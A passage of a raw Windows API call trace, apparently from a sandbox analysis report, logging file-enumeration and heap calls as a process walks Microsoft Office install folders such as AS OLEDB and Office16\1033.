ftLastWriteTime.dwLowDateTime=0x2b0ae4ba, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6c42, dwReserved0=0x0, dwReserved1=0x0, cFileName="trdtv2r41.xsl", cAlternateFileName="TRDTV2~1.XSL")) returned 1 [0234.991] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2b0ae4ba, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2b0ae4ba, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2b0ae4ba, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6c42, dwReserved0=0x0, dwReserved1=0x0, cFileName="trdtv2r41.xsl", cAlternateFileName="TRDTV2~1.XSL")) returned 0 [0234.991] FindClose (in: hFindFile=0x33e4da8 | out: hFindFile=0x33e4da8) returned 1 [0234.992] GetProcessHeap () returned 0xc10000 [0234.992] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0234.992] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa937f07, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2b015b1d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2b0d4700, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x128848, dwReserved0=0x0, dwReserved1=0x0, cFileName="dbghelp.dll", cAlternateFileName="")) returned 1 [0234.992] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x17c93f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x17c93f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2d25b938, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2771c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="msmdlocal.dll", cAlternateFileName="MSMDLO~1.DLL")) returned 1 [0234.992] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa5ff4c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa5ff4c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa8619f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6d4290, dwReserved0=0x0, dwReserved1=0x0, cFileName="msmgdsrv.dll", cAlternateFileName="")) returned 1 [0234.992] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x386b77a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x386b77a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2ba84052, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x735cf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="msolap110.dll", cAlternateFileName="MSOLAP~1.DLL")) returned 1 [0234.993] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4befc00, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4befc00, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2ba5ddea, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x44718, dwReserved0=0x0, dwReserved1=0x0, cFileName="msolui110.dll", cAlternateFileName="MSOLUI~1.DLL")) returned 1 [0234.993] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf17ee5c3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf17ee5c3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 1 [0234.993] GetProcessHeap () returned 0xc10000 [0234.993] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0234.993] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Resources\\*", lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf17ee5c3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf17ee5c3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0234.994] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf17ee5c3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf17ee5c3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0234.994] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf3143659, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf61fd8b4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0234.994] GetProcessHeap () returned 0xc10000 [0234.994] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0234.994] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Resources\\1033\\*", lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf3143659, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf61fd8b4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4da8 [0234.995] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf3143659, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf61fd8b4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0234.995] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf17ee5c3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcb32840, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x113870, dwReserved0=0x0, dwReserved1=0x0, cFileName="msmdsrv.rll", cAlternateFileName="")) returned 1 [0234.995] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf3143659, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf3143659, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xca99edb, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1126d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="msmdsrvi.rll", cAlternateFileName="")) returned 1 [0234.995] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf61fd8b4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf61fd8b4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf61fd8b4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3728, dwReserved0=0x0, dwReserved1=0x0, cFileName="msolui110.rll", cAlternateFileName="MSOLUI~1.RLL")) returned 1 [0234.995] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf61fd8b4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf61fd8b4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf61fd8b4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3728, dwReserved0=0x0, dwReserved1=0x0, cFileName="msolui110.rll", cAlternateFileName="MSOLUI~1.RLL")) returned 0 [0234.995] FindClose (in: hFindFile=0x33e4da8 | out: hFindFile=0x33e4da8) returned 1 [0234.995] GetProcessHeap () returned 0xc10000 [0234.996] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0234.996] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf3143659, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf61fd8b4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0234.996] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0234.996] GetProcessHeap () returned 0xc10000 [0234.996] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0234.996] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5e91324, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5e91324, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5eb74f1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x17a50, dwReserved0=0x0, dwReserved1=0x0, cFileName="SQLDumper.exe", cAlternateFileName="SQLDUM~1.EXE")) returned 1 [0234.996] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa2f5c0f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa2f5c0f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2d19cde8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1e106f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="xmsrv.dll", cAlternateFileName="")) returned 1 [0234.996] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa2f5c0f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa2f5c0f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2d19cde8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1e106f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="xmsrv.dll", cAlternateFileName="")) returned 0 [0234.996] FindClose (in: hFindFile=0x33e48a8 | out: hFindFile=0x33e48a8) returned 1 [0234.996] GetProcessHeap () returned 0xc10000 [0234.996] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0234.998] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2b0d4700, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2b0d4700, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="110", cAlternateFileName="")) returned 0 [0234.998] FindClose (in: hFindFile=0x33e4ca8 | out: hFindFile=0x33e4ca8) returned 1 [0234.998] GetProcessHeap () returned 0xc10000 [0234.998] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0234.999] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf17ee5c3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf17ee5c3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AS OLEDB", cAlternateFileName="ASOLED~1")) returned 0 [0234.999] FindClose (in: hFindFile=0x33e4828 | out: hFindFile=0x33e4828) returned 1 [0234.999] GetProcessHeap () returned 0xc10000 [0234.999] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39628a0 | out: hHeap=0xc10000) returned 1 [0235.000] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2f517e4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd2f517e4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2f517e4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Office", cAlternateFileName="MICROS~1")) returned 1 [0235.000] GetProcessHeap () returned 0xc10000 [0235.000] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39628a0 [0235.000] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2f517e4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd2f517e4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2f517e4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ca8 [0235.000] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2f517e4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd2f517e4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2f517e4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0235.001] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2f517e4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86a6c5d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x86a6c5d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office16", cAlternateFileName="")) returned 1 [0235.001] GetProcessHeap () returned 0xc10000 [0235.001] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0235.001] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2f517e4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86a6c5d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x86a6c5d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4da8 [0235.003] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2f517e4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86a6c5d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x86a6c5d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0235.005] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd43957d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xca99edb, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e1424f7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0235.005] GetProcessHeap () returned 0xc10000 [0235.005] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0235.005] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\1033\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd43957d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xca99edb, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e1424f7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a68 [0235.007] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd43957d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xca99edb, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e1424f7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0235.007] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf45d3b76, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf45d3b76, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf45d3b76, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3058, dwReserved0=0x0, dwReserved1=0x0, cFileName="BHOINTL.DLL", cAlternateFileName="")) returned 1 [0235.007] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4ba375b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4ba375b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4ba375b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x87da40, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveIntlResource.dll", cAlternateFileName="GROOVE~1.DLL")) returned 1 [0235.007] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf46b8986, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf46b8986, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xca73c66, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x52848, dwReserved0=0x0, dwReserved1=0x0, cFileName="lyncDesktopResources.dll", cAlternateFileName="LYNCDE~1.DLL")) returned 1 [0235.007] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee2e1f46, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee2e1f46, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xee3545e6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2b6b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MAPISHELLR.DLL", cAlternateFileName="MAPISH~1.DLL")) returned 1 [0235.007] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4cfac8a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4cfac8a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf5a3de35, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xee48, dwReserved0=0x0, dwReserved1=0x0, cFileName="ocapires.dll", cAlternateFileName="")) returned 1 [0235.007] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xed12666a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed12666a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xed231745, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2ca8, dwReserved0=0x0, dwReserved1=0x0, cFileName="OcHelperResource.dll", cAlternateFileName="OCHELP~1.DLL")) returned 1 [0235.007] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1bf45a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1bf45a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1bf45a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1a878, dwReserved0=0x0, dwReserved1=0x0, cFileName="OCLTINT.DLL", cAlternateFileName="")) returned 1 [0235.007] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf263c7d5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf263c7d5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcb32840, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x16e6a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="OcPubRes.dll", cAlternateFileName="")) returned 1 [0235.007] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2e1424f7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e1424f7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e1424f7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWSHLP10.CHM", cAlternateFileName="")) returned 1 [0235.008] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd43957d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd43957d3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd442e16d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x380d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="STSUCRES.DLL", cAlternateFileName="")) returned 1 [0235.008] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e520 | out: 